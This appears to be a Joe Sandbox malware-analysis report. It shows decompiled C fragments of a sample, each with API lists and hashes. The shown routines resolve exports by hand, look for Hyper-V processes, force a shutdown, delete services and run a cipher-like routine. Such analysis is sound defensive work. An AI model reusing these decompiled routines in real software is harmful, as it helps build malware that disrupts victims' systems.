              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: FileWrite
              • String ID:
              • API String ID: 3934441357-0
              • Opcode ID: 2104e637b17851daca9788a9f521a26fc205bf3bd53507bf1163a65e727e9b44
              • Instruction ID: 4c245fe079081c4626fce6aa01d8dda7b50258cf2d255679ad2076bd0fb1287d
              • Opcode Fuzzy Hash: 2104e637b17851daca9788a9f521a26fc205bf3bd53507bf1163a65e727e9b44
              • Instruction Fuzzy Hash: 19C0023214020DBBCF125E81EC15A9A7F2AEB09751F008414FA181406197729530AB55
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 58%
              			E0235838C(void* _a4, union _LARGE_INTEGER _a8, union _LARGE_INTEGER* _a12, intOrPtr _a16) {
              				int _t5;
              
              				_push(_a16);
              				_t5 = SetFilePointerEx(_a4, _a8, _a12, 0); // executed
              				return _t5;
              			}




              0x0235838f
              0x0235839d
              0x023583a4

              APIs
              • SetFilePointerEx.KERNELBASE(000000FF,FFFFFF18,00000000,00000000,02353598,?,02353598,00000000,FFFFFF18,000000FF,00000002), ref: 0235839D
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: FilePointer
              • String ID:
              • API String ID: 973152223-0
              • Opcode ID: 74b4811635e8a995dfe4774baf025ca0e3b14d13660f1cd81a13977f571531dd
              • Instruction ID: 5d3e86f1e862ec242abd34c163f64164577ab6be6f078732cc84375a2d290b1a
              • Opcode Fuzzy Hash: 74b4811635e8a995dfe4774baf025ca0e3b14d13660f1cd81a13977f571531dd
              • Instruction Fuzzy Hash: 62C0013208024DBBCF025E81EC09E9A7F2AEB08761F408814FA18184A28772A970AB95
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 100%
              			E0235515E(void* _a4, void* _a8) {
              				signed char _t3;
              
              				_t3 = RtlFreeHeap(_a4, 0, _a8); // executed
              				return _t3 & 0x000000ff;
              			}




              0x02355169
              0x02355173

              APIs
              • RtlFreeHeap.NTDLL(00000003,00000000,0000000F), ref: 02355169
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: FreeHeap
              • String ID:
              • API String ID: 3298025750-0
              • Opcode ID: e026b3e3c5672e3e7f2ea941c3e31b8f9d7382f5b0863971e52b1f637fcab065
              • Instruction ID: fb6ea83a5e870a6737f16294119f919583119725ae7fae62dde27255214cfa69
              • Opcode Fuzzy Hash: e026b3e3c5672e3e7f2ea941c3e31b8f9d7382f5b0863971e52b1f637fcab065
              • Instruction Fuzzy Hash: B8C0923108021CBBCF011E82EC0ABA93F6DAB00761F418451FE0C480A1D6B6A970ABA4
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 100%
              			E023579B0(CHAR* _a4) {
              				struct HINSTANCE__* _t3;
              
              				E023576E5(0x9e0d17ca);
              				_t3 = LoadLibraryA(_a4); // executed
              				return _t3;
              			}




              0x023579bb
              0x023579c1
              0x023579c4

              APIs
              • LoadLibraryA.KERNELBASE(?,?,023573F5,?), ref: 023579C1
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: LibraryLoad
              • String ID:
              • API String ID: 1029625771-0
              • Opcode ID: d976dc0a2749332370e838f9662ecc6c11c970b1180dca585eae6eba447c9335
              • Instruction ID: eb174054b77136e74a76a32beb7d301bb2b18cda77b6b9c0bb742d7f6501d970
              • Opcode Fuzzy Hash: d976dc0a2749332370e838f9662ecc6c11c970b1180dca585eae6eba447c9335
              • Instruction Fuzzy Hash: 9BB0123300430C37491036F6FC00C497BEECB805747000001FD1C04111DC23D19006E5
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 100%
              			E02355150(void* _a4) {
              				int _t2;
              
              				_t2 = HeapDestroy(_a4); // executed
              				return _t2;
              			}




              0x02355156
              0x0235515d

              APIs
              • HeapDestroy.KERNELBASE(?,?,02357F51,?,?,023539DE,?,00000000,00000000,02353B70,?,?,00000000), ref: 02355156
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: DestroyHeap
              • String ID:
              • API String ID: 2435110975-0
              • Opcode ID: 8333c59ad6488f352a9f05599e9688c0ac14c88fff04743c7eee82b5d97acd60
              • Instruction ID: 038d46aaf44813e13298a84c652a94748e7a2f1bb03c73896c0a519a87f281c4
              • Opcode Fuzzy Hash: 8333c59ad6488f352a9f05599e9688c0ac14c88fff04743c7eee82b5d97acd60
              • Instruction Fuzzy Hash: D7A0113008020CAB8B002E82EC088AA3FACEA802A0B008020F80C000208B22A8328A80
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 100%
              			E023554AF(int _a4) {
              
              				ExitProcess(_a4);
              			}



              0x023554b5

              APIs
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: ExitProcess
              • String ID:
              • API String ID: 621844428-0
              • Opcode ID: c914c71d92c93370defcd12bdcebc89151db9c706bc3d008e589ab67cad28474
              • Instruction ID: 68e6014de8e3dd2c5674711bba5103dfc2af97d2fbaa4b80b96723146e03b0e2
              • Opcode Fuzzy Hash: c914c71d92c93370defcd12bdcebc89151db9c706bc3d008e589ab67cad28474
              • Instruction Fuzzy Hash: 14A0027044420DBBCB112F57DC2D94ABF6DEB017D1F428420FE1545121DB72A9A1AED6
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 100%
              			E023573E6(CHAR* _a4, CHAR* _a8) {
              				signed int _v8;
              				intOrPtr _v12;
              				intOrPtr _v16;
              				intOrPtr _v20;
              				intOrPtr* _t31;
              				signed int _t35;
              				void* _t36;
              				int _t39;
              				signed int _t40;
              				char* _t46;
              				void* _t47;
              				void* _t52;
              				intOrPtr _t56;
              				intOrPtr _t61;
              				intOrPtr* _t65;
              				intOrPtr* _t68;
              
              				_t31 = E023579B0(_a4); // executed
              				_t68 = _t31;
              				if( *_t68 == 0x5a4d) {
              					_t65 =  *((intOrPtr*)(_t68 + 0x3c)) + _t68;
              					__eflags =  *_t65 - 0x4550;
              					if( *_t65 == 0x4550) {
              						_t52 =  *((intOrPtr*)(_t65 + 0x78)) + _t68;
              						_v20 =  *((intOrPtr*)(_t52 + 0x1c)) + _t68;
              						_t56 =  *((intOrPtr*)(_t52 + 0x20)) + _t68;
              						_t35 = 0;
              						_v12 = _t56;
              						_v8 = 0;
              						__eflags =  *(_t52 + 0x18);
              						if( *(_t52 + 0x18) <= 0) {
              							L7:
              							_t36 = 0;
              							__eflags = 0;
              							L8:
              							L9:
              							return _t36;
              						} else {
              							goto L5;
              						}
              						while(1) {
              							L5:
              							_v16 =  *((intOrPtr*)(_t52 + 0x24)) + _t68;
              							_t39 = lstrcmpA(_a8,  *((intOrPtr*)(_t56 + _t35 * 4)) + _t68); // executed
              							__eflags = _t39;
              							_t40 = _v8;
              							if(_t39 == 0) {
              								break;
              							}
              							_t56 = _v12;
              							_t35 = _t40 + 1;
              							_v8 = _t35;
              							__eflags = _t35 -  *(_t52 + 0x18);
              							if(_t35 <  *(_t52 + 0x18)) {
              								continue;
              							}
              							goto L7;
              						}
              						_t61 =  *((intOrPtr*)(_v20 + ( *(_v16 + _t40 * 2) & 0x0000ffff) * 4));
              						__eflags = _t61 -  *((intOrPtr*)(_t65 + 0x78));
              						if(_t61 <  *((intOrPtr*)(_t65 + 0x78))) {
              							L14:
              							_t36 = _t61 + _t68;
              							goto L8;
              						}
              						__eflags = _t61 -  *((intOrPtr*)(_t65 + 0x7c)) +  *((intOrPtr*)(_t65 + 0x78));
              						if(__eflags >= 0) {
              							goto L14;
              						}
              						_t67 = E023579C5(__eflags, _t61 + _t68);
              						_t46 = E02356899(_t45, 0x2e);
              						_t29 = _t46 + 1; // 0x1
              						 *_t46 = 0;
              						_t47 = E023573E6(_t45, _t29);
              						E023551C1(_t67);
              						_t36 = _t47;
              						goto L8;
              					}
              					_t36 = 0;
              					goto L9;
              				}
              				return 0;
              			}



















              0x023573f0
              0x023573f5
              0x02357400
              0x0235740a
              0x0235740c
              0x02357412
              0x0235741c
              0x02357426
              0x02357429
              0x0235742b
              0x0235742d
              0x02357430
              0x02357433
              0x02357436
              0x02357462
              0x02357462
              0x02357462
              0x02357464
              0x02357465
              0x00000000
              0x00000000
              0x00000000
              0x00000000
              0x02357438
              0x02357438
              0x02357446
              0x02357449
              0x0235744f
              0x02357451
              0x02357454
              0x00000000
              0x00000000
              0x02357456
              0x02357459
              0x0235745a
              0x0235745d
              0x02357460
              0x00000000
              0x00000000
              0x00000000
              0x02357460
              0x02357475
              0x02357478
              0x0235747b
              0x023574b6
              0x023574b6
              0x00000000
              0x023574b6
              0x02357483
              0x02357485
              0x00000000
              0x00000000
              0x02357490
              0x02357495
              0x0235749a
              0x0235749d
              0x023574a2
              0x023574aa
              0x023574b2
              0x00000000
              0x023574b2
              0x02357414
              0x00000000
              0x02357414
              0x00000000

              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: LibraryLoad
              • String ID:
              • API String ID: 1029625771-0
              • Opcode ID: 0314d345a282430c243da04000f4d2ed45eb33194a63e3843e9cd6ef084d0d85
              • Instruction ID: 8df749d37c422480c94fc21b6b5a95ecbe55d8a980cd1881931301a22769285f
              • Opcode Fuzzy Hash: 0314d345a282430c243da04000f4d2ed45eb33194a63e3843e9cd6ef084d0d85
              • Instruction Fuzzy Hash: 50315CB0B00124AFCB24DF69C884D69FBF9EF48704B6404A9DC09D7742E775EA51CBA0
              Uniqueness

              Uniqueness Score: -1.00%

              Non-executed Functions

              C-Code - Quality: 36%
              			E0235532D(long _a4) {
              				char _v8;
              				WCHAR* _t4;
              				void* _t6;
              				signed int _t15;
              				void* _t31;
              
              				_t4 =  *0x236307c; // 0x0
              				_v8 = 0x800;
              				_push(0x800);
              				if(_t4 != 0) {
              					_push(0);
              					_push(_t4);
              					E023551FB();
              				} else {
              					 *0x236307c = E02355174();
              				}
              				_t6 = OpenProcess(0x1000, 0, _a4);
              				_t31 = _t6;
              				if(_t31 != 0) {
              					 *0x23626c4(_t31, 0,  *0x236307c,  &_v8);
              					E02355416(_t31);
              					_t33 = PathFindFileNameW( *0x236307c);
              					if(E023568F9(_t10, L"vmcompute.exe") != 0) {
              						if(E023568F9(_t33, L"vmms.exe") == 0 || E023568F9(_t33, L"vmwp.exe") == 0) {
              							goto L5;
              						} else {
              							_t15 = E023568F9(_t33, L"svchost.exe");
              							asm("sbb eax, eax");
              							_t6 =  ~_t15 + 1;
              						}
              					} else {
              						L5:
              						_t6 = 1;
              					}
              				}
              				return _t6;
              			}








              0x02355331
              0x0235533b
              0x0235533e
              0x02355341
              0x02355350
              0x02355352
              0x02355353
              0x02355343
              0x02355349
              0x02355349
              0x02355366
              0x0235536c
              0x02355370
              0x0235537f
              0x02355386
              0x02355398
              0x023553a9
              0x023553bf
              0x00000000
              0x023553d2
              0x023553d8
              0x023553e0
              0x023553e3
              0x023553e3
              0x023553ab
              0x023553ab
              0x023553ad
              0x023553ad
              0x023553a9
              0x023553e8

              APIs
              • OpenProcess.KERNEL32(00001000,00000000,?,?,023562E0,?,00000000,?,0235368A), ref: 02355366
              • QueryFullProcessImageNameW.KERNEL32(00000000,00000000,?,?,0235368A), ref: 0235537F
              • PathFindFileNameW.SHLWAPI(?,0235368A), ref: 02355392
                • Part of subcall function 02355174: HeapCreate.KERNELBASE(00000000,00400000,00000000,?,02351548), ref: 02355189
                • Part of subcall function 02355174: GetProcessHeap.KERNEL32(?,02351548), ref: 02355198
              Strings
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: Process$HeapName$CreateFileFindFullImageOpenPathQuery
              • String ID: svchost.exe$vmcompute.exe$vmms.exe$vmwp.exe
              • API String ID: 2112901129-1116827676
              • Opcode ID: 8e78f1aed3de0067676878f4f493c431fde2fc637ea2ed8a5d4e30e464a4fbbf
              • Instruction ID: 90ef0dad3bb31c078e40b1eb9619632d5815444d5ff251f50c664d50a1d80cb0
              • Opcode Fuzzy Hash: 8e78f1aed3de0067676878f4f493c431fde2fc637ea2ed8a5d4e30e464a4fbbf
              • Instruction Fuzzy Hash: A7110AB2D842317EF6256674FC1AF5A375C8F05760F50856AFC0ED5180EEA0E6014EA5
              Uniqueness

              Uniqueness Score: -1.00%

              APIs
              • CryptStringToBinaryW.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 023564AA
                • Part of subcall function 02355174: HeapCreate.KERNELBASE(00000000,00400000,00000000,?,02351548), ref: 02355189
                • Part of subcall function 02355174: GetProcessHeap.KERNEL32(?,02351548), ref: 02355198
              • CryptStringToBinaryW.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 023564D1
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: BinaryCryptHeapString$CreateProcess
              • String ID:
              • API String ID: 869147093-0
              • Opcode ID: 860514ceb303ed1d76113441208e49567882257a644664f049e45e556424a7de
              • Instruction ID: fbb96aaf88686f1d7eb16ee2c4bb63b672144917217fe706f89bd828bc9dada9
              • Opcode Fuzzy Hash: 860514ceb303ed1d76113441208e49567882257a644664f049e45e556424a7de
              • Instruction Fuzzy Hash: C3F03CB120022D7FEB205E55ECC5DABBB5DEF057E8B558025FD08DA240D771DE118AA1
              Uniqueness

              Uniqueness Score: -1.00%

              APIs
              • CryptBinaryToStringW.CRYPT32(00000000,00000000,40000000,00000000,02351970), ref: 02356513
                • Part of subcall function 02355174: HeapCreate.KERNELBASE(00000000,00400000,00000000,?,02351548), ref: 02355189
                • Part of subcall function 02355174: GetProcessHeap.KERNEL32(?,02351548), ref: 02355198
              • CryptBinaryToStringW.CRYPT32(00000000,00000000,40000000,00000000,02351970), ref: 0235653C
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: BinaryCryptHeapString$CreateProcess
              • String ID:
              • API String ID: 869147093-0
              • Opcode ID: 98ede837975251632f272995c15e95362304304004c40e51d00c35cbdddbcd61
              • Instruction ID: 5ce0ecf32b49815e46675f8c440a426ee4611bbfeab7c3f6d2112ecc8b358234
              • Opcode Fuzzy Hash: 98ede837975251632f272995c15e95362304304004c40e51d00c35cbdddbcd61
              • Instruction Fuzzy Hash: 9DF04F326402296BDF209E69DC08EAB3FADEF81BA1F414835FD0CC6110D731D9218BA0
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 58%
              			E02355C85(void* __ecx, void* __eflags, intOrPtr _a4) {
              				void* _t2;
              
              				_t2 = E02357C36(__ecx, 0x13);
              				if(_t2 == 0) {
              					return _t2;
              				} else {
              					if(_a4 == 0) {
              						return ExitWindowsEx(0x12, 0x10000);
              					}
              					return  *0x2362828(1);
              				}
              			}




              0x02355c8a
              0x02355c92
              0x02355cb2
              0x02355c94
              0x02355c98
              0x00000000
              0x02355cab
              0x02355ca3
              0x02355ca3

              APIs
                • Part of subcall function 02357C36: RtlAdjustPrivilege.NTDLL(02353E1B,00000001,00000001,?), ref: 02357C49
                • Part of subcall function 02357C36: RtlAdjustPrivilege.NTDLL(02353E1B,00000001,00000000,00000000), ref: 02357C65
              • NtShutdownSystem.NTDLL(00000001), ref: 02355C9C
              • ExitWindowsEx.USER32(00000012,00010000), ref: 02355CAB
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: AdjustPrivilege$ExitShutdownSystemWindows
              • String ID:
              • API String ID: 698229158-0
              • Opcode ID: 17d112612816b96eae74ffcf15da6c3e4150b3ad04a160670ce696defad4b485
              • Instruction ID: 5fc6b430bc73aecbe33100b92eaf769944f92474a8a8c334151dff933e2b9586
              • Opcode Fuzzy Hash: 17d112612816b96eae74ffcf15da6c3e4150b3ad04a160670ce696defad4b485
              • Instruction Fuzzy Hash: 35D0A7702C030DABEF302A95EC0DFD5365C9B047B9F404015FD0C580C0CBE190D095A1
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 58%
              			E02355DA9(void* _a4) {
              				signed int _t2;
              
              				_t2 = DeleteService(_a4);
              				asm("sbb eax, eax");
              				return  ~( ~_t2);
              			}




              0x02355daf
              0x02355db7
              0x02355dbc

              APIs
              • DeleteService.ADVAPI32(02355E2E,?,02355E2E,00000000,?,?,?,?,?,02353E3F,00000000), ref: 02355DAF
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: DeleteService
              • String ID:
              • API String ID: 700001626-0
              • Opcode ID: dc09a5bbf9dad506f55ed1867edcf3939d9229366d3b3b5bf9af9388be49ccb7
              • Instruction ID: 12c1cc1ead8e0d4ef3806c24cb52b4f87d3cb9860729c116c8c6124ed07081c6
              • Opcode Fuzzy Hash: dc09a5bbf9dad506f55ed1867edcf3939d9229366d3b3b5bf9af9388be49ccb7
              • Instruction Fuzzy Hash: 0CB012301D810E6F8F001EB5EC09C253F5DF701751F005630F80EC6090DA6298304681
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 100%
              			E0235B78A(signed int* _a4) {
              				signed int _v8;
              				signed int _v12;
              				signed int _v16;
              				signed int _v20;
              				signed int _v24;
              				signed int _v28;
              				signed int _v32;
              				signed int _v36;
              				signed int _v40;
              				signed int* _v44;
              				signed int _t706;
              				signed int _t722;
              				signed int _t736;
              				signed int _t768;
              				signed int* _t836;
              				signed int* _t863;
              				signed int* _t890;
              				signed int* _t917;
              				signed int* _t944;
              				signed int _t969;
              				signed int* _t985;
              				unsigned int _t986;
              				signed int _t988;
              				signed int* _t989;
              				signed int _t990;
              				signed int _t991;
              				signed int _t993;
              				signed int _t995;
              				signed int _t997;
              				signed int _t999;
              				signed int _t1001;
              				signed int _t1003;
              				signed int _t1005;
              				signed int _t1007;
              				signed int _t1009;
              				signed int _t1011;
              				signed int _t1013;
              				signed int* _t1016;
              				signed int* _t1018;
              				signed int* _t1020;
              				signed int* _t1022;
              				signed int* _t1024;
              				signed int _t1034;
              				signed int* _t1050;
              				unsigned int _t1051;
              				signed int* _t1066;
              				signed int _t1067;
              				signed int* _t1084;
              				signed int* _t1099;
              				unsigned int _t1100;
              				signed int* _t1116;
              				signed int _t1189;
              				signed int _t1211;
              				signed int _t1233;
              				signed int _t1255;
              				signed int _t1277;
              				signed int* _t1299;
              				signed int* _t1300;
              				signed int _t1312;
              				signed int _t1316;
              				signed int _t1319;
              				signed int _t1323;
              				signed int _t1327;
              				signed int _t1330;
              				signed int _t1332;
              				signed int* _t1334;
              				signed int _t1335;
              				signed int* _t1337;
              				signed int _t1338;
              				signed int* _t1340;
              				signed int _t1341;
              				signed int* _t1343;
              				signed int _t1344;
              				signed int* _t1346;
              				signed int _t1347;
              				signed int* _t1349;
              				signed int _t1350;
              				signed int* _t1352;
              				signed int _t1353;
              				signed int* _t1355;
              				unsigned int _t1356;
              				signed int* _t1358;
              				unsigned int _t1359;
              				signed int _t1361;
              				signed int* _t1363;
              				unsigned int _t1364;
              				signed int _t1366;
              				signed int* _t1367;
              				signed int _t1368;
              				signed int* _t1369;
              				signed int _t1370;
              				signed int* _t1371;
              				signed int _t1372;
              				signed int* _t1373;
              				signed int _t1374;
              				signed int* _t1375;
              				signed int _t1380;
              				signed int* _t1382;
              				unsigned int _t1383;
              				signed int _t1385;
              				signed int _t1387;
              				signed int _t1389;
              				signed int _t1391;
              				signed int _t1393;
              				signed int _t1395;
              				signed int _t1397;
              				signed int _t1399;
              				signed int _t1401;
              				signed int* _t1403;
              				signed int _t1404;
              				intOrPtr* _t1406;
              				signed int _t1407;
              				signed int* _t1408;
              				signed int _t1409;
              				signed int* _t1410;
              				signed int _t1411;
              				signed int* _t1412;
              				signed int _t1413;
              				signed int* _t1414;
              				signed int _t1415;
              				signed int* _t1416;
              				signed int _t1419;
              				signed int _t1424;
              				signed int _t1428;
              				signed int _t1433;
              				signed int _t1438;
              				signed int _t1441;
              				signed int* _t1443;
              				signed int _t1444;
              				signed int* _t1446;
              				signed int _t1447;
              				signed int* _t1449;
              				signed int _t1450;
              				signed int* _t1452;
              				signed int _t1453;
              				signed int* _t1455;
              				signed int _t1456;
              				signed int* _t1458;
              				signed int _t1459;
              				signed int* _t1461;
              				signed int _t1462;
              				signed int* _t1464;
              				signed int _t1465;
              				signed int* _t1467;
              				signed int _t1468;
              				signed int _t1470;
              				signed int _t1472;
              				signed int _t1474;
              				signed int _t1475;
              				signed int _t1476;
              				signed int _t1477;
              				signed int _t1478;
              
              				_t1416 = _a4;
              				_v44 = 0x2360ba0;
              				do {
              					_t3 =  &(_t1416[4]); // 0xff348d8d
              					_t4 =  &(_t1416[0xe]); // 0x1174ff85
              					_t5 =  &(_t1416[0x18]); // 0x5fffc883
              					_t6 =  &(_t1416[0x22]); // 0x88
              					_t7 =  &(_t1416[0x2c]); // 0xa48e
              					_t8 =  &(_t1416[0xa]); // 0x3e
              					_t9 =  &(_t1416[0x14]); // 0xffff34bd
              					_t10 =  &(_t1416[0x1e]); // 0x360ba0d8
              					_t11 =  &(_t1416[0x28]); // 0x8b000000
              					_t12 =  &(_t1416[1]); // 0x3b590845
              					_t13 =  &(_t1416[0xb]); // 0x308458b
              					_t14 =  &(_t1416[0x15]); // 0xc8b9ff
              					_t15 =  &(_t1416[0x1f]); // 0x105e8b02
              					_t16 =  &(_t1416[0x29]); // 0x4e33044e
              					_t17 =  &(_t1416[5]); // 0x5051ffff
              					_t18 =  &(_t1416[0xf]); // 0x34958d57
              					_t19 =  &(_t1416[0x19]); // 0xe58b5b5e
              					_t20 =  &(_t1416[0x23]); // 0xb09e33
              					_t21 =  &(_t1416[0x2d]); // 0x14568b00
              					_t22 =  &(_t1416[8]); // 0xff34858d
              					_t23 =  &(_t1416[0x12]); // 0xc483ffff
              					_t24 =  &(_t1416[0x1c]); // 0x758b5653
              					_t25 =  &(_t1416[0x26]); // 0x46335046
              					_t26 =  &(_t1416[0x30]); // 0x8c
              					_t1380 =  *_t22 ^  *_t23 ^  *_t24 ^  *_t25 ^  *_t26;
              					_v12 =  *_t3 ^  *_t4 ^  *_t5 ^  *_t6 ^  *_t7;
              					_t28 =  &(_t1416[6]); // 0xff9a99e8
              					_t29 =  &(_t1416[0x10]); // 0x52ffffff
              					_t30 =  &(_t1416[0x1a]); // 0x8b55c35d
              					_t31 =  &(_t1416[0x24]); // 0x68b0000
              					_t32 =  &(_t1416[0x2e]); // 0x333c5633
              					_v20 =  *_t1416 ^  *_t8 ^  *_t9 ^  *_t10 ^  *_t11;
              					_t34 =  &(_t1416[2]); // 0x852d72fe
              					_t35 =  &(_t1416[0xc]); // 0x89fe2bc6
              					_t36 =  &(_t1416[0x16]); // 0xaaf30000
              					_t37 =  &(_t1416[0x20]); // 0x33385e33
              					_t38 =  &(_t1416[0x2a]); // 0x544e332c
              					_t706 =  *_t34 ^  *_t35 ^  *_t36 ^  *_t37 ^  *_t38;
              					_v16 =  *_t12 ^  *_t13 ^  *_t14 ^  *_t15 ^  *_t16;
              					_t40 =  &(_t1416[3]); // 0x561174f6
              					_t41 =  &(_t1416[0xd]); // 0xceeb0845
